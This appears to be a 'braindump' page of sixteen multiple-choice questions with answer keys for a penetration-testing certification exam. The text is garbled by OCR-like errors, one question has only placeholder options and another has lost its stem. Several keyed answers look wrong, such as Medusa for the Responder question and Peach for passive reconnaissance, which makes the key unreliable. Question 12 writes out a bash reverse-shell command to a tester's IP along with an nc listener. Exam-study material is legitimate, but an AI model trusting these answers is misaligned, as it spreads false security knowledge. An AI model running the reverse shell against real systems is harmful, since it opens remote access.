Refined PT0-001 Braindumps 2021

NEW QUESTION 1
Which of Ihe following commands would allow a penetration tester to access a private network from the Internet in Metasplogt?

• A. set rhost 192.168.1.10
• B. run autoroute -a 192.168.1.0/24
• C. db_nm«p -iL /tmp/privatehoots . txt
• D. use auxiliary/servet/aocka^a

Answer: D

NEW QUESTION 2
The following command is run on a Linux file system: Chmod 4111 /usr/bin/sudo
Which of the following issues may be explogted now?

• A. Kernel vulnerabilities
• B. Sticky bits
• C. Unquoted service path
• D. Misconfigured sudo

Answer: D

NEW QUESTION 3
While engaging clients for a penetration test from highly regulated industries, which of the following is usually the MOST important to the clients from a business perspective?

• A. Letter of engagement and attestation of findings
• B. NDA and MSA
• C. SOW and final report
• D. Risk summary and executive summary

Answer: D

NEW QUESTION 4
During an internal penetration test, several multicast and broadcast name resolution requests are observed traversing the network. Which of the following tools could be used to impersonate network resources and collect authentication requests?

• A. Ettercap
• B. Tcpdump
• C. Responder
• D. Medusa

Answer: D

NEW QUESTION 5
A. penetration tester wants to check manually if a "ghost" vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability?

• A. Option A
• B. Option B
• C. Option C
• D. Option D

Answer: D

NEW QUESTION 6
When performing compliance-based assessments, which of the following is the MOST important Key consideration?

• A. Additional rate
• B. Company policy
• C. Impact tolerance
• D. Industry type

Answer: A

NEW QUESTION 7
A constant wants to scan all the TCP Pots on an identified device. Which of the following Nmap switches will complete this task?

• A. -p-
• B. -p ALX,
• C. -p 1-65534
• D. -port 1-65534

Answer: A

NEW QUESTION 8
Which of the following would be BEST for performing passive reconnaissance on a target's external domain?

• A. Peach
• B. CeWL
• C. OpenVAS
• D. Shodan

Answer: A

NEW QUESTION 9
During an internal network penetration test, a tester recovers the NTLM password hash tor a user known to have full administrator privileges on a number of target systems Efforts to crack the hash and recover the plaintext password have been unsuccessful Which of the following would be the BEST target for continued explogtation efforts?

• A. Operating system Windows 7 Open ports: 23, 161
• B. Operating system Windows Server 2021 Open ports: 53, 5900
• C. Operating system Windows 8 1Open ports 445, 3389
• D. Operating system Windows 8 Open ports 514, 3389

Answer: C

NEW QUESTION 10
An attacker uses SET to make a copy of a company's cloud-hosted web mail portal and sends an email m to obtain the CEO s login credentials Which of the following types of attacks is this an example of?

• A. Elicitation attack
• B. Impersonation attack
• C. Spear phishing attack
• D. Drive-by download attack

Answer: B

NEW QUESTION 11
A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this?

• A. dsrm -users "DN=compony.com; OU=hq CN=usera"
• B. dsuser -name -account -limit 3
• C. dsquery uaer -inactive 3
• D. dsquery -o -rein -limit 21

Answer: B

NEW QUESTION 12
A tester intends to run the following command on a target system:
bash -i >& /dev/tcp/10.2.4.6/443 0>&1
Which of the following additional commands would need to be executed on the tester's Linux system.o make (he pre*ous command success?

• A. nc -nvlp 443
• B. nc 10.2.4.6 443
• C. nc -w3 10.2.4.6 443
• D. nc-/bin/ah 10.2.4.6 443

Answer: A

NEW QUESTION 13
Which of the following reasons does penetration tester needs to have a customer's point-of -contact information available at all time? (Select THREE).

• A. To report indicators of compromise
• B. To report findings that cannot be explogted
• C. To report critical findings
• D. To report the latest published explogts
• E. To update payment information
• F. To report a server that becomes unresponsive
• G. To update the statement o( work
• H. To report a cracked password

Answer: DEF

NEW QUESTION 14
A penetration tester is utilizing social media to gather information about employees at a company. The tester has created a list of popular words used in employee profile s. For which of the following types of attack would this information be used?

• A. Explogt chaining
• B. Session hijacking
• C. Dictionary
• D. Karma

Answer: B

NEW QUESTION 15
A penetration tester notices that the X-Frame-Optjons header on a web application is not set. Which of the following would a malicious actor do to explogt this configuration setting?

• A. Use path modification to escape the application's framework.
• B. Create a frame that overlays the application.
• C. Inject a malicious iframe containing JavaScript.
• D. Pass an iframe attribute that is maliciou

Answer: B

NEW QUESTION 16
A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon discovered vulnerabilities, the company asked the consultant to perform the following tasks:
• Code review
• Updates to firewall setting

• A. Scope creep
• B. Post-mortem review
• C. Risk acceptance
• D. Threat prevention

Answer: C